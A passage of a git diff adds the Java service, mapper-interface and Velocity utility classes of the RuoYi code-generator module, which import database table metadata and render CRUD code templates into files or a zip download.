insertGenTable(GenTable genTable); + + /** + * 修改业务 + * + * @param genTable 业务信息 + * @return 结果 + */ + public int updateGenTable(GenTable genTable); + + /** + * 批量删除业务 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteGenTableByIds(Long[] ids); +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableColumnServiceImpl.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableColumnServiceImpl.java new file mode 100644 index 0000000..0679689 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableColumnServiceImpl.java @@ -0,0 +1,68 @@ +package com.ruoyi.generator.service; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.generator.domain.GenTableColumn; +import com.ruoyi.generator.mapper.GenTableColumnMapper; + +/** + * 业务字段 服务层实现 + * + * @author ruoyi + */ +@Service +public class GenTableColumnServiceImpl implements IGenTableColumnService +{ + @Autowired + private GenTableColumnMapper genTableColumnMapper; + + /** + * 查询业务字段列表 + * + * @param tableId 业务字段编号 + * @return 业务字段集合 + */ + @Override + public List selectGenTableColumnListByTableId(Long tableId) + { + return genTableColumnMapper.selectGenTableColumnListByTableId(tableId); + } + + /** + * 新增业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + @Override + public int insertGenTableColumn(GenTableColumn genTableColumn) + { + return genTableColumnMapper.insertGenTableColumn(genTableColumn); + } + + /** + * 修改业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + @Override + public int updateGenTableColumn(GenTableColumn genTableColumn) + { + return genTableColumnMapper.updateGenTableColumn(genTableColumn); + } + + /** + * 删除业务字段对象 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + @Override + public int deleteGenTableColumnByIds(String ids) + { + return genTableColumnMapper.deleteGenTableColumnByIds(Convert.toLongArray(ids)); + } +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java new file mode 100644 index 0000000..4889f81 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java @@ -0,0 +1,521 @@ +package com.ruoyi.generator.service; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.StringWriter; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.function.Function; +import java.util.stream.Collectors; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; +import org.apache.commons.io.FileUtils; +import org.apache.commons.io.IOUtils; +import org.apache.velocity.Template; +import org.apache.velocity.VelocityContext; +import org.apache.velocity.app.Velocity; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.GenConstants; +import com.ruoyi.common.core.text.CharsetKit; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.generator.domain.GenTable; +import com.ruoyi.generator.domain.GenTableColumn; +import com.ruoyi.generator.mapper.GenTableColumnMapper; +import com.ruoyi.generator.mapper.GenTableMapper; +import com.ruoyi.generator.util.GenUtils; +import com.ruoyi.generator.util.VelocityInitializer; +import com.ruoyi.generator.util.VelocityUtils; + +/** + * 业务 服务层实现 + * + * @author ruoyi + */ +@Service +public class GenTableServiceImpl implements IGenTableService +{ + private static final Logger log = LoggerFactory.getLogger(GenTableServiceImpl.class); + + @Autowired + private GenTableMapper genTableMapper; + + @Autowired + private GenTableColumnMapper genTableColumnMapper; + + /** + * 查询业务信息 + * + * @param id 业务ID + * @return 业务信息 + */ + @Override + public GenTable selectGenTableById(Long id) + { + GenTable genTable = genTableMapper.selectGenTableById(id); + setTableFromOptions(genTable); + return genTable; + } + + /** + * 查询业务列表 + * + * @param genTable 业务信息 + * @return 业务集合 + */ + @Override + public List selectGenTableList(GenTable genTable) + { + return genTableMapper.selectGenTableList(genTable); + } + + /** + * 查询据库列表 + * + * @param genTable 业务信息 + * @return 数据库表集合 + */ + @Override + public List selectDbTableList(GenTable genTable) + { + return genTableMapper.selectDbTableList(genTable); + } + + /** + * 查询据库列表 + * + * @param tableNames 表名称组 + * @return 数据库表集合 + */ + @Override + public List selectDbTableListByNames(String[] tableNames) + { + return genTableMapper.selectDbTableListByNames(tableNames); + } + + /** + * 查询所有表信息 + * + * @return 表信息集合 + */ + @Override + public List selectGenTableAll() + { + return genTableMapper.selectGenTableAll(); + } + + /** + * 修改业务 + * + * @param genTable 业务信息 + * @return 结果 + */ + @Override + @Transactional + public void updateGenTable(GenTable genTable) + { + String options = JSON.toJSONString(genTable.getParams()); + genTable.setOptions(options); + int row = genTableMapper.updateGenTable(genTable); + if (row > 0) + { + for (GenTableColumn cenTableColumn : genTable.getColumns()) + { + genTableColumnMapper.updateGenTableColumn(cenTableColumn); + } + } + } + + /** + * 删除业务对象 + * + * @param tableIds 需要删除的数据ID + * @return 结果 + */ + @Override + @Transactional + public void deleteGenTableByIds(Long[] tableIds) + { + genTableMapper.deleteGenTableByIds(tableIds); + genTableColumnMapper.deleteGenTableColumnByIds(tableIds); + } + + /** + * 导入表结构 + * + * @param tableList 导入表列表 + */ + @Override + @Transactional + public void importGenTable(List tableList) + { + String operName = SecurityUtils.getUsername(); + try + { + for (GenTable table : tableList) + { + String tableName = table.getTableName(); + GenUtils.initTable(table, operName); + int row = genTableMapper.insertGenTable(table); + if (row > 0) + { + // 保存列信息 + List genTableColumns = genTableColumnMapper.selectDbTableColumnsByName(tableName); + for (GenTableColumn column : genTableColumns) + { + GenUtils.initColumnField(column, table); + genTableColumnMapper.insertGenTableColumn(column); + } + } + } + } + catch (Exception e) + { + throw new ServiceException("导入失败:" + e.getMessage()); + } + } + + /** + * 预览代码 + * + * @param tableId 表编号 + * @return 预览数据列表 + */ + @Override + public Map previewCode(Long tableId) + { + Map dataMap = new LinkedHashMap<>(); + // 查询表信息 + GenTable table = genTableMapper.selectGenTableById(tableId); + // 设置主子表信息 + setSubTable(table); + // 设置主键列信息 + setPkColumn(table); + VelocityInitializer.initVelocity(); + + VelocityContext context = VelocityUtils.prepareContext(table); + + // 获取模板列表 + List templates = VelocityUtils.getTemplateList(table.getTplCategory()); + for (String template : templates) + { + // 渲染模板 + StringWriter sw = new StringWriter(); + Template tpl = Velocity.getTemplate(template, Constants.UTF8); + tpl.merge(context, sw); + dataMap.put(template, sw.toString()); + } + return dataMap; + } + + /** + * 生成代码(下载方式) + * + * @param tableName 表名称 + * @return 数据 + */ + @Override + public byte[] downloadCode(String tableName) + { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + ZipOutputStream zip = new ZipOutputStream(outputStream); + generatorCode(tableName, zip); + IOUtils.closeQuietly(zip); + return outputStream.toByteArray(); + } + + /** + * 生成代码(自定义路径) + * + * @param tableName 表名称 + */ + @Override + public void generatorCode(String tableName) + { + // 查询表信息 + GenTable table = genTableMapper.selectGenTableByName(tableName); + // 设置主子表信息 + setSubTable(table); + // 设置主键列信息 + setPkColumn(table); + + VelocityInitializer.initVelocity(); + + VelocityContext context = VelocityUtils.prepareContext(table); + + // 获取模板列表 + List templates = VelocityUtils.getTemplateList(table.getTplCategory()); + for (String template : templates) + { + if (!StringUtils.containsAny(template, "sql.vm", "api.js.vm", "index.vue.vm", "index-tree.vue.vm")) + { + // 渲染模板 + StringWriter sw = new StringWriter(); + Template tpl = Velocity.getTemplate(template, Constants.UTF8); + tpl.merge(context, sw); + try + { + String path = getGenPath(table, template); + FileUtils.writeStringToFile(new File(path), sw.toString(), CharsetKit.UTF_8); + } + catch (IOException e) + { + throw new ServiceException("渲染模板失败,表名:" + table.getTableName()); + } + } + } + } + + /** + * 同步数据库 + * + * @param tableName 表名称 + */ + @Override + @Transactional + public void synchDb(String tableName) + { + GenTable table = genTableMapper.selectGenTableByName(tableName); + List tableColumns = table.getColumns(); + Map tableColumnMap = tableColumns.stream().collect(Collectors.toMap(GenTableColumn::getColumnName, Function.identity())); + + List dbTableColumns = genTableColumnMapper.selectDbTableColumnsByName(tableName); + if (StringUtils.isEmpty(dbTableColumns)) + { + throw new ServiceException("同步数据失败,原表结构不存在"); + } + List dbTableColumnNames = dbTableColumns.stream().map(GenTableColumn::getColumnName).collect(Collectors.toList()); + + dbTableColumns.forEach(column -> { + GenUtils.initColumnField(column, table); + if (tableColumnMap.containsKey(column.getColumnName())) + { + GenTableColumn prevColumn = tableColumnMap.get(column.getColumnName()); + column.setColumnId(prevColumn.getColumnId()); + if (column.isList()) + { + // 如果是列表,继续保留查询方式/字典类型选项 + column.setDictType(prevColumn.getDictType()); + column.setQueryType(prevColumn.getQueryType()); + } + if (StringUtils.isNotEmpty(prevColumn.getIsRequired()) && !column.isPk() + && (column.isInsert() || column.isEdit()) + && ((column.isUsableColumn()) || (!column.isSuperColumn()))) + { + // 如果是(新增/修改&非主键/非忽略及父属性),继续保留必填/显示类型选项 + column.setIsRequired(prevColumn.getIsRequired()); + column.setHtmlType(prevColumn.getHtmlType()); + } + genTableColumnMapper.updateGenTableColumn(column); + } + else + { + genTableColumnMapper.insertGenTableColumn(column); + } + }); + + List delColumns = tableColumns.stream().filter(column -> !dbTableColumnNames.contains(column.getColumnName())).collect(Collectors.toList()); + if (StringUtils.isNotEmpty(delColumns)) + { + genTableColumnMapper.deleteGenTableColumns(delColumns); + } + } + + /** + * 批量生成代码(下载方式) + * + * @param tableNames 表数组 + * @return 数据 + */ + @Override + public byte[] downloadCode(String[] tableNames) + { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + ZipOutputStream zip = new ZipOutputStream(outputStream); + for (String tableName : tableNames) + { + generatorCode(tableName, zip); + } + IOUtils.closeQuietly(zip); + return outputStream.toByteArray(); + } + + /** + * 查询表信息并生成代码 + */ + private void generatorCode(String tableName, ZipOutputStream zip) + { + // 查询表信息 + GenTable table = genTableMapper.selectGenTableByName(tableName); + // 设置主子表信息 + setSubTable(table); + // 设置主键列信息 + setPkColumn(table); + + VelocityInitializer.initVelocity(); + + VelocityContext context = VelocityUtils.prepareContext(table); + + // 获取模板列表 + List templates = VelocityUtils.getTemplateList(table.getTplCategory()); + for (String template : templates) + { + // 渲染模板 + StringWriter sw = new StringWriter(); + Template tpl = Velocity.getTemplate(template, Constants.UTF8); + tpl.merge(context, sw); + try + { + // 添加到zip + zip.putNextEntry(new ZipEntry(VelocityUtils.getFileName(template, table))); + IOUtils.write(sw.toString(), zip, Constants.UTF8); + IOUtils.closeQuietly(sw); + zip.flush(); + zip.closeEntry(); + } + catch (IOException e) + { + log.error("渲染模板失败,表名:" + table.getTableName(), e); + } + } + } + + /** + * 修改保存参数校验 + * + * @param genTable 业务信息 + */ + @Override + public void validateEdit(GenTable genTable) + { + if (GenConstants.TPL_TREE.equals(genTable.getTplCategory())) + { + String options = JSON.toJSONString(genTable.getParams()); + JSONObject paramsObj = JSON.parseObject(options); + if (StringUtils.isEmpty(paramsObj.getString(GenConstants.TREE_CODE))) + { + throw new ServiceException("树编码字段不能为空"); + } + else if (StringUtils.isEmpty(paramsObj.getString(GenConstants.TREE_PARENT_CODE))) + { + throw new ServiceException("树父编码字段不能为空"); + } + else if (StringUtils.isEmpty(paramsObj.getString(GenConstants.TREE_NAME))) + { + throw new ServiceException("树名称字段不能为空"); + } + else if (GenConstants.TPL_SUB.equals(genTable.getTplCategory())) + { + if (StringUtils.isEmpty(genTable.getSubTableName())) + { + throw new ServiceException("关联子表的表名不能为空"); + } + else if (StringUtils.isEmpty(genTable.getSubTableFkName())) + { + throw new ServiceException("子表关联的外键名不能为空"); + } + } + } + } + + /** + * 设置主键列信息 + * + * @param table 业务表信息 + */ + public void setPkColumn(GenTable table) + { + for (GenTableColumn column : table.getColumns()) + { + if (column.isPk()) + { + table.setPkColumn(column); + break; + } + } + if (StringUtils.isNull(table.getPkColumn())) + { + table.setPkColumn(table.getColumns().get(0)); + } + if (GenConstants.TPL_SUB.equals(table.getTplCategory())) + { + for (GenTableColumn column : table.getSubTable().getColumns()) + { + if (column.isPk()) + { + table.getSubTable().setPkColumn(column); + break; + } + } + if (StringUtils.isNull(table.getSubTable().getPkColumn())) + { + table.getSubTable().setPkColumn(table.getSubTable().getColumns().get(0)); + } + } + } + + /** + * 设置主子表信息 + * + * @param table 业务表信息 + */ + public void setSubTable(GenTable table) + { + String subTableName = table.getSubTableName(); + if (StringUtils.isNotEmpty(subTableName)) + { + table.setSubTable(genTableMapper.selectGenTableByName(subTableName)); + } + } + + /** + * 设置代码生成其他选项值 + * + * @param genTable 设置后的生成对象 + */ + public void setTableFromOptions(GenTable genTable) + { + JSONObject paramsObj = JSON.parseObject(genTable.getOptions()); + if (StringUtils.isNotNull(paramsObj)) + { + String treeCode = paramsObj.getString(GenConstants.TREE_CODE); + String treeParentCode = paramsObj.getString(GenConstants.TREE_PARENT_CODE); + String treeName = paramsObj.getString(GenConstants.TREE_NAME); + String parentMenuId = paramsObj.getString(GenConstants.PARENT_MENU_ID); + String parentMenuName = paramsObj.getString(GenConstants.PARENT_MENU_NAME); + + genTable.setTreeCode(treeCode); + genTable.setTreeParentCode(treeParentCode); + genTable.setTreeName(treeName); + genTable.setParentMenuId(parentMenuId); + genTable.setParentMenuName(parentMenuName); + } + } + + /** + * 获取代码生成地址 + * + * @param table 业务表信息 + * @param template 模板文件路径 + * @return 生成地址 + */ + public static String getGenPath(GenTable table, String template) + { + String genPath = table.getGenPath(); + if (StringUtils.equals(genPath, "/")) + { + return System.getProperty("user.dir") + File.separator + "src" + File.separator + VelocityUtils.getFileName(template, table); + } + return genPath + File.separator + VelocityUtils.getFileName(template, table); + } +} \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableColumnService.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableColumnService.java new file mode 100644 index 0000000..3037f70 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableColumnService.java @@ -0,0 +1,44 @@ +package com.ruoyi.generator.service; + +import java.util.List; +import com.ruoyi.generator.domain.GenTableColumn; + +/** + * 业务字段 服务层 + * + * @author ruoyi + */ +public interface IGenTableColumnService +{ + /** + * 查询业务字段列表 + * + * @param tableId 业务字段编号 + * @return 业务字段集合 + */ + public List selectGenTableColumnListByTableId(Long tableId); + + /** + * 新增业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + public int insertGenTableColumn(GenTableColumn genTableColumn); + + /** + * 修改业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + public int updateGenTableColumn(GenTableColumn genTableColumn); + + /** + * 删除业务字段信息 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteGenTableColumnByIds(String ids); +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableService.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableService.java new file mode 100644 index 0000000..9d53f95 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableService.java @@ -0,0 +1,121 @@ +package com.ruoyi.generator.service; + +import java.util.List; +import java.util.Map; +import com.ruoyi.generator.domain.GenTable; + +/** + * 业务 服务层 + * + * @author ruoyi + */ +public interface IGenTableService +{ + /** + * 查询业务列表 + * + * @param genTable 业务信息 + * @return 业务集合 + */ + public List selectGenTableList(GenTable genTable); + + /** + * 查询据库列表 + * + * @param genTable 业务信息 + * @return 数据库表集合 + */ + public List selectDbTableList(GenTable genTable); + + /** + * 查询据库列表 + * + * @param tableNames 表名称组 + * @return 数据库表集合 + */ + public List selectDbTableListByNames(String[] tableNames); + + /** + * 查询所有表信息 + * + * @return 表信息集合 + */ + public List selectGenTableAll(); + + /** + * 查询业务信息 + * + * @param id 业务ID + * @return 业务信息 + */ + public GenTable selectGenTableById(Long id); + + /** + * 修改业务 + * + * @param genTable 业务信息 + * @return 结果 + */ + public void updateGenTable(GenTable genTable); + + /** + * 删除业务信息 + * + * @param tableIds 需要删除的表数据ID + * @return 结果 + */ + public void deleteGenTableByIds(Long[] tableIds); + + /** + * 导入表结构 + * + * @param tableList 导入表列表 + */ + public void importGenTable(List tableList); + + /** + * 预览代码 + * + * @param tableId 表编号 + * @return 预览数据列表 + */ + public Map previewCode(Long tableId); + + /** + * 生成代码(下载方式) + * + * @param tableName 表名称 + * @return 数据 + */ + public byte[] downloadCode(String tableName); + + /** + * 生成代码(自定义路径) + * + * @param tableName 表名称 + * @return 数据 + */ + public void generatorCode(String tableName); + + /** + * 同步数据库 + * + * @param tableName 表名称 + */ + public void synchDb(String tableName); + + /** + * 批量生成代码(下载方式) + * + * @param tableNames 表数组 + * @return 数据 + */ + public byte[] downloadCode(String[] tableNames); + + /** + * 修改保存参数校验 + * + * @param genTable 业务信息 + */ + public void validateEdit(GenTable genTable); +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/GenUtils.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/GenUtils.java new file mode 100644 index 0000000..e7ebc20 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/GenUtils.java @@ -0,0 +1,257 @@ +package com.ruoyi.generator.util; + +import java.util.Arrays; +import org.apache.commons.lang3.RegExUtils; +import com.ruoyi.common.constant.GenConstants; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.generator.config.GenConfig; +import com.ruoyi.generator.domain.GenTable; +import com.ruoyi.generator.domain.GenTableColumn; + +/** + * 代码生成器 工具类 + * + * @author ruoyi + */ +public class GenUtils +{ + /** + * 初始化表信息 + */ + public static void initTable(GenTable genTable, String operName) + { + genTable.setClassName(convertClassName(genTable.getTableName())); + genTable.setPackageName(GenConfig.getPackageName()); + genTable.setModuleName(getModuleName(GenConfig.getPackageName())); + genTable.setBusinessName(getBusinessName(genTable.getTableName())); + genTable.setFunctionName(replaceText(genTable.getTableComment())); + genTable.setFunctionAuthor(GenConfig.getAuthor()); + genTable.setCreateBy(operName); + } + + /** + * 初始化列属性字段 + */ + public static void initColumnField(GenTableColumn column, GenTable table) + { + String dataType = getDbType(column.getColumnType()); + String columnName = column.getColumnName(); + column.setTableId(table.getTableId()); + column.setCreateBy(table.getCreateBy()); + // 设置java字段名 + column.setJavaField(StringUtils.toCamelCase(columnName)); + // 设置默认类型 + column.setJavaType(GenConstants.TYPE_STRING); + column.setQueryType(GenConstants.QUERY_EQ); + + if (arraysContains(GenConstants.COLUMNTYPE_STR, dataType) || arraysContains(GenConstants.COLUMNTYPE_TEXT, dataType)) + { + // 字符串长度超过500设置为文本域 + Integer columnLength = getColumnLength(column.getColumnType()); + String htmlType = columnLength >= 500 || arraysContains(GenConstants.COLUMNTYPE_TEXT, dataType) ? GenConstants.HTML_TEXTAREA : GenConstants.HTML_INPUT; + column.setHtmlType(htmlType); + } + else if (arraysContains(GenConstants.COLUMNTYPE_TIME, dataType)) + { + column.setJavaType(GenConstants.TYPE_DATE); + column.setHtmlType(GenConstants.HTML_DATETIME); + } + else if (arraysContains(GenConstants.COLUMNTYPE_NUMBER, dataType)) + { + column.setHtmlType(GenConstants.HTML_INPUT); + + // 如果是浮点型 统一用BigDecimal + String[] str = StringUtils.split(StringUtils.substringBetween(column.getColumnType(), "(", ")"), ","); + if (str != null && str.length == 2 && Integer.parseInt(str[1]) > 0) + { + column.setJavaType(GenConstants.TYPE_BIGDECIMAL); + } + // 如果是整形 + else if (str != null && str.length == 1 && Integer.parseInt(str[0]) <= 10) + { + column.setJavaType(GenConstants.TYPE_INTEGER); + } + // 长整形 + else + { + column.setJavaType(GenConstants.TYPE_LONG); + } + } + + // 插入字段(默认所有字段都需要插入) + column.setIsInsert(GenConstants.REQUIRE); + + // 编辑字段 + if (!arraysContains(GenConstants.COLUMNNAME_NOT_EDIT, columnName) && !column.isPk()) + { + column.setIsEdit(GenConstants.REQUIRE); + } + // 列表字段 + if (!arraysContains(GenConstants.COLUMNNAME_NOT_LIST, columnName) && !column.isPk()) + { + column.setIsList(GenConstants.REQUIRE); + } + // 查询字段 + if (!arraysContains(GenConstants.COLUMNNAME_NOT_QUERY, columnName) && !column.isPk()) + { + column.setIsQuery(GenConstants.REQUIRE); + } + + // 查询字段类型 + if (StringUtils.endsWithIgnoreCase(columnName, "name")) + { + column.setQueryType(GenConstants.QUERY_LIKE); + } + // 状态字段设置单选框 + if (StringUtils.endsWithIgnoreCase(columnName, "status")) + { + column.setHtmlType(GenConstants.HTML_RADIO); + } + // 类型&性别字段设置下拉框 + else if (StringUtils.endsWithIgnoreCase(columnName, "type") + || StringUtils.endsWithIgnoreCase(columnName, "sex")) + { + column.setHtmlType(GenConstants.HTML_SELECT); + } + // 图片字段设置图片上传控件 + else if (StringUtils.endsWithIgnoreCase(columnName, "image")) + { + column.setHtmlType(GenConstants.HTML_IMAGE_UPLOAD); + } + // 文件字段设置文件上传控件 + else if (StringUtils.endsWithIgnoreCase(columnName, "file")) + { + column.setHtmlType(GenConstants.HTML_FILE_UPLOAD); + } + // 内容字段设置富文本控件 + else if (StringUtils.endsWithIgnoreCase(columnName, "content")) + { + column.setHtmlType(GenConstants.HTML_EDITOR); + } + } + + /** + * 校验数组是否包含指定值 + * + * @param arr 数组 + * @param targetValue 值 + * @return 是否包含 + */ + public static boolean arraysContains(String[] arr, String targetValue) + { + return Arrays.asList(arr).contains(targetValue); + } + + /** + * 获取模块名 + * + * @param packageName 包名 + * @return 模块名 + */ + public static String getModuleName(String packageName) + { + int lastIndex = packageName.lastIndexOf("."); + int nameLength = packageName.length(); + return StringUtils.substring(packageName, lastIndex + 1, nameLength); + } + + /** + * 获取业务名 + * + * @param tableName 表名 + * @return 业务名 + */ + public static String getBusinessName(String tableName) + { + int lastIndex = tableName.lastIndexOf("_"); + int nameLength = tableName.length(); + return StringUtils.substring(tableName, lastIndex + 1, nameLength); + } + + /** + * 表名转换成Java类名 + * + * @param tableName 表名称 + * @return 类名 + */ + public static String convertClassName(String tableName) + { + boolean autoRemovePre = GenConfig.getAutoRemovePre(); + String tablePrefix = GenConfig.getTablePrefix(); + if (autoRemovePre && StringUtils.isNotEmpty(tablePrefix)) + { + String[] searchList = StringUtils.split(tablePrefix, ","); + tableName = replaceFirst(tableName, searchList); + } + return StringUtils.convertToCamelCase(tableName); + } + + /** + * 批量替换前缀 + * + * @param replacementm 替换值 + * @param searchList 替换列表 + * @return + */ + public static String replaceFirst(String replacementm, String[] searchList) + { + String text = replacementm; + for (String searchString : searchList) + { + if (replacementm.startsWith(searchString)) + { + text = replacementm.replaceFirst(searchString, ""); + break; + } + } + return text; + } + + /** + * 关键字替换 + * + * @param text 需要被替换的名字 + * @return 替换后的名字 + */ + public static String replaceText(String text) + { + return RegExUtils.replaceAll(text, "(?:表|若依)", ""); + } + + /** + * 获取数据库类型字段 + * + * @param columnType 列类型 + * @return 截取后的列类型 + */ + public static String getDbType(String columnType) + { + if (StringUtils.indexOf(columnType, "(") > 0) + { + return StringUtils.substringBefore(columnType, "("); + } + else + { + return columnType; + } + } + + /** + * 获取字段长度 + * + * @param columnType 列类型 + * @return 截取后的列类型 + */ + public static Integer getColumnLength(String columnType) + { + if (StringUtils.indexOf(columnType, "(") > 0) + { + String length = StringUtils.substringBetween(columnType, "(", ")"); + return Integer.valueOf(length); + } + else + { + return 0; + } + } +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityInitializer.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityInitializer.java new file mode 100644 index 0000000..9f69403 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityInitializer.java @@ -0,0 +1,34 @@ +package com.ruoyi.generator.util; + +import java.util.Properties; +import org.apache.velocity.app.Velocity; +import com.ruoyi.common.constant.Constants; + +/** + * VelocityEngine工厂 + * + * @author ruoyi + */ +public class VelocityInitializer +{ + /** + * 初始化vm方法 + */ + public static void initVelocity() + { + Properties p = new Properties(); + try + { + // 加载classpath目录下的vm文件 + p.setProperty("resource.loader.file.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader"); + // 定义字符集 + p.setProperty(Velocity.INPUT_ENCODING, Constants.UTF8); + // 初始化Velocity引擎,指定配置Properties + Velocity.init(p); + } + catch (Exception e) + { + throw new RuntimeException(e); + } + } +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityUtils.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityUtils.java new file mode 100644 index 0000000..7ede02d --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityUtils.java @@ -0,0 +1,402 @@ +package com.ruoyi.generator.util; + +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import org.apache.velocity.VelocityContext; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.common.constant.GenConstants; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.generator.domain.GenTable; +import com.ruoyi.generator.domain.GenTableColumn; + +/** + * 模板处理工具类 + * + * @author ruoyi + */ +public class VelocityUtils +{ + /** 项目空间路径 */ + private static final String PROJECT_PATH = "main/java"; + + /** mybatis空间路径 */ + private static final String MYBATIS_PATH = "main/resources/mapper"; + + /** 默认上级菜单,系统工具 */ + private static final String DEFAULT_PARENT_MENU_ID = "3"; + + /** + * 设置模板变量信息 + * + * @return 模板列表 + */ + public static VelocityContext prepareContext(GenTable genTable) + { + String moduleName = genTable.getModuleName(); + String businessName = genTable.getBusinessName(); + String packageName = genTable.getPackageName(); + String tplCategory = genTable.getTplCategory(); + String functionName = genTable.getFunctionName(); + + VelocityContext velocityContext = new VelocityContext(); + velocityContext.put("tplCategory", genTable.getTplCategory()); + velocityContext.put("tableName", genTable.getTableName()); + velocityContext.put("functionName", StringUtils.isNotEmpty(functionName) ? functionName : "【请填写功能名称】"); + velocityContext.put("ClassName", genTable.getClassName()); + velocityContext.put("className", StringUtils.uncapitalize(genTable.getClassName())); + velocityContext.put("moduleName", genTable.getModuleName()); + velocityContext.put("BusinessName", StringUtils.capitalize(genTable.getBusinessName())); + velocityContext.put("businessName", genTable.getBusinessName()); + velocityContext.put("basePackage", getPackagePrefix(packageName)); + velocityContext.put("packageName", packageName); + velocityContext.put("author", genTable.getFunctionAuthor()); + velocityContext.put("datetime", DateUtils.getDate()); + velocityContext.put("pkColumn", genTable.getPkColumn()); + velocityContext.put("importList", getImportList(genTable)); + velocityContext.put("permissionPrefix", getPermissionPrefix(moduleName, businessName)); + velocityContext.put("columns", genTable.getColumns()); + velocityContext.put("table", genTable); + velocityContext.put("dicts", getDicts(genTable)); + setMenuVelocityContext(velocityContext, genTable); + if (GenConstants.TPL_TREE.equals(tplCategory)) + { + setTreeVelocityContext(velocityContext, genTable); + } + if (GenConstants.TPL_SUB.equals(tplCategory)) + { + setSubVelocityContext(velocityContext, genTable); + } + return velocityContext; + } + + public static void setMenuVelocityContext(VelocityContext context, GenTable genTable) + { + String options = genTable.getOptions(); + JSONObject paramsObj = JSON.parseObject(options); + String parentMenuId = getParentMenuId(paramsObj); + context.put("parentMenuId", parentMenuId); + } + + public static void setTreeVelocityContext(VelocityContext context, GenTable genTable) + { + String options = genTable.getOptions(); + JSONObject paramsObj = JSON.parseObject(options); + String treeCode = getTreecode(paramsObj); + String treeParentCode = getTreeParentCode(paramsObj); + String treeName = getTreeName(paramsObj); + + context.put("treeCode", treeCode); + context.put("treeParentCode", treeParentCode); + context.put("treeName", treeName); + context.put("expandColumn", getExpandColumn(genTable)); + if (paramsObj.containsKey(GenConstants.TREE_PARENT_CODE)) + { + context.put("tree_parent_code", paramsObj.getString(GenConstants.TREE_PARENT_CODE)); + } + if (paramsObj.containsKey(GenConstants.TREE_NAME)) + { + context.put("tree_name", paramsObj.getString(GenConstants.TREE_NAME)); + } + } + + public static void setSubVelocityContext(VelocityContext context, GenTable genTable) + { + GenTable subTable = genTable.getSubTable(); + String subTableName = genTable.getSubTableName(); + String subTableFkName = genTable.getSubTableFkName(); + String subClassName = genTable.getSubTable().getClassName(); + String subTableFkClassName = StringUtils.convertToCamelCase(subTableFkName); + + context.put("subTable", subTable); + context.put("subTableName", subTableName); + context.put("subTableFkName", subTableFkName); + context.put("subTableFkClassName", subTableFkClassName); + context.put("subTableFkclassName", StringUtils.uncapitalize(subTableFkClassName)); + context.put("subClassName", subClassName); + context.put("subclassName", StringUtils.uncapitalize(subClassName)); + context.put("subImportList", getImportList(genTable.getSubTable())); + } + + /** + * 获取模板信息 + * + * @return 模板列表 + */ + public static List getTemplateList(String tplCategory) + { + List templates = new ArrayList(); + templates.add("vm/java/domain.java.vm"); + templates.add("vm/java/mapper.java.vm"); + templates.add("vm/java/service.java.vm"); + templates.add("vm/java/serviceImpl.java.vm"); + templates.add("vm/java/controller.java.vm"); + templates.add("vm/xml/mapper.xml.vm"); + templates.add("vm/sql/sql.vm"); + templates.add("vm/js/api.js.vm"); + if (GenConstants.TPL_CRUD.equals(tplCategory)) + { + templates.add("vm/vue/index.vue.vm"); + } + else if (GenConstants.TPL_TREE.equals(tplCategory)) + { + templates.add("vm/vue/index-tree.vue.vm"); + } + else if (GenConstants.TPL_SUB.equals(tplCategory)) + { + templates.add("vm/vue/index.vue.vm"); + templates.add("vm/java/sub-domain.java.vm"); + } + 